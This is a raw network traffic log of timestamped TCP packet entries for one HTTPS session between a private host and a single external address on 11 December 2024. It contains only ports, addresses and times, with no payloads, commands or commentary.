Dec 11, 2024 12:31:28.691765070 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.691826105 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.691852093 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.691925049 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.692110062 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.693739891 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.693792105 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.693886995 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.694103956 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.694133997 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.694279909 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.695782900 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.695849895 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.696018934 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.696047068 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.696146011 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.696269035 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.696835041 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.696990967 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.697179079 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.698823929 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.698889017 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.699083090 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.699122906 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.699367046 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.700845003 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.700903893 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.701356888 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.701699972 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.701730013 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.701997995 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.702790022 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.702842951 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.702939987 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.703058004 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.703094006 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.703237057 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.704813004 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.704864025 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.704984903 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.705091953 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.705127001 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.705310106 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.707323074 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.707386017 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.707815886 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.707863092 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.707981110 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.708406925 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.709084034 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.709135056 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.709316015 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.709353924 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.709435940 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.709635019 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.710993052 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.711055994 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.711148977 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.711229086 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.711256981 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.711328983 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.711502075 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.713102102 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.713165045 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.713789940 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.713834047 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.713905096 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.714227915 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.714982986 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.715044975 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.715153933 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.715359926 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.715393066 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.715641975 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.717442989 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.717506886 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.717720032 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.717762947 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.717786074 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.717888117 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.719305992 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.719341040 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.719979048 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.720006943 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.720170975 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.721065044 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.721098900 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.721314907 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.721338034 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.721528053 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.723783016 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.723818064 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.724349976 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.724502087 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.724514961 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.724826097 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.725743055 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.725780964 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.725995064 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.726016998 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.726068974 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.726169109 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.727353096 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.727381945 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.727526903 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.727735996 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.727757931 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.728086948 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.729182959 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.729211092 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.729367971 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.729567051 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.729587078 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.729784966 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.731869936 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.731905937 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.732040882 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.732273102 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.732295036 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.732492924 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.733514071 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.733552933 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.733727932 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.733747005 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.733808041 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.733947992 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.734967947 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.735018015 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.735244989 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.735276937 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.735301971 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.735536098 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.736618042 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.736681938 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.736855984 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.736901999 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.736931086 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.737116098 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.738023996 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.738085985 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.738177061 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.738296032 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.738321066 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.738533974 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.739391088 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.739454985 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.739696026 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.739734888 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.740257978 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.741122961 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.741210938 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.741334915 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.741374969 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.741415977 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.741540909 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.743016958 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.743112087 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.743254900 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.743285894 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.743437052 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.743482113 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.744501114 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.744596004 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.744656086 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.744879007 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.744899988 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.745249987 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.746011972 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.746099949 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.746438980 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.746473074 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.746886969 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.747473001 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.747560024 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.747688055 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.747723103 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.747787952 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.747932911 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.748982906 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.749063969 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.749223948 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.749254942 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.749341011 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.749408007 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.750397921 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.750480890 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.750617027 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.750653982 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.750780106 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.750885963 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.752002954 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.752074003 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.752207994 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.752235889 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.752298117 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.752424002 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.753635883 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.753729105 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.753803015 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.753982067 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.754015923 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.754343987 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.755194902 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.755281925 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.755348921 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.755424023 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.755450964 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.755537987 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.755733967 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.756670952 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.756762028 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.756987095 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.757014990 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.757467985 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.757735968 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.757848978 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.757967949 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.757997036 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.758049011 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.758182049 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.759387970 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.759480000 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.759615898 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.759656906 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.759813070 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.760624886 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.760703087 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.760806084 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.760926962 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.760952950 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.761228085 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.762386084 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.762475967 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.762550116 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.762626886 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.762646914 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.762758970 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.763310909 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.764020920 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.764095068 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.764175892 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.764375925 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.764405012 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.764725924 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.765357018 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.765445948 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.765580893 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.765619040 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.765669107 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.765862942 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.767110109 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.767195940 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.767273903 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.767343044 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.767368078 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.767441988 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.767599106 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.768717051 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.768810987 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.768999100 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.769126892 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.769146919 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.769517899 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.770309925 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.770399094 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.770514965 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.770558119 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.770601034 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.770728111 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.771403074 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.771491051 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.771593094 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.771672010 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.771698952 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.771753073 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.771872997 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.773323059 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.773412943 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.773516893 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.773695946 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.773730040 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.774045944 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.795078039 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.795176029 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.795237064 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.795363903 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.795414925 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.795555115 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.795667887 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.796159029 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.796240091 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.796331882 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.796448946 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.796471119 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.796683073 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.797497034 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.797588110 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.797723055 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.797764063 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.797828913 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.797919989 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.799128056 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.799184084 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.799381018 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.799441099 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.799462080 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.799599886 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.801009893 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.801074982 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.801249027 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.801278114 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.801424980 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.801601887 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.801990032 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.802046061 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.802191973 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.802239895 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.802356958 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.802445889 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.803492069 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.803555965 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.803719044 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.803766012 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.803813934 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.803914070 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.804964066 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.805025101 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.805162907 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.805208921 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.805231094 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.805392981 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.805566072 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.806495905 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.806541920 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.807265043 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.807310104 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.807492018 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.807802916 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.807862997 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.808027029 CET	49768	443	192.168.11.30	172.67.128.139
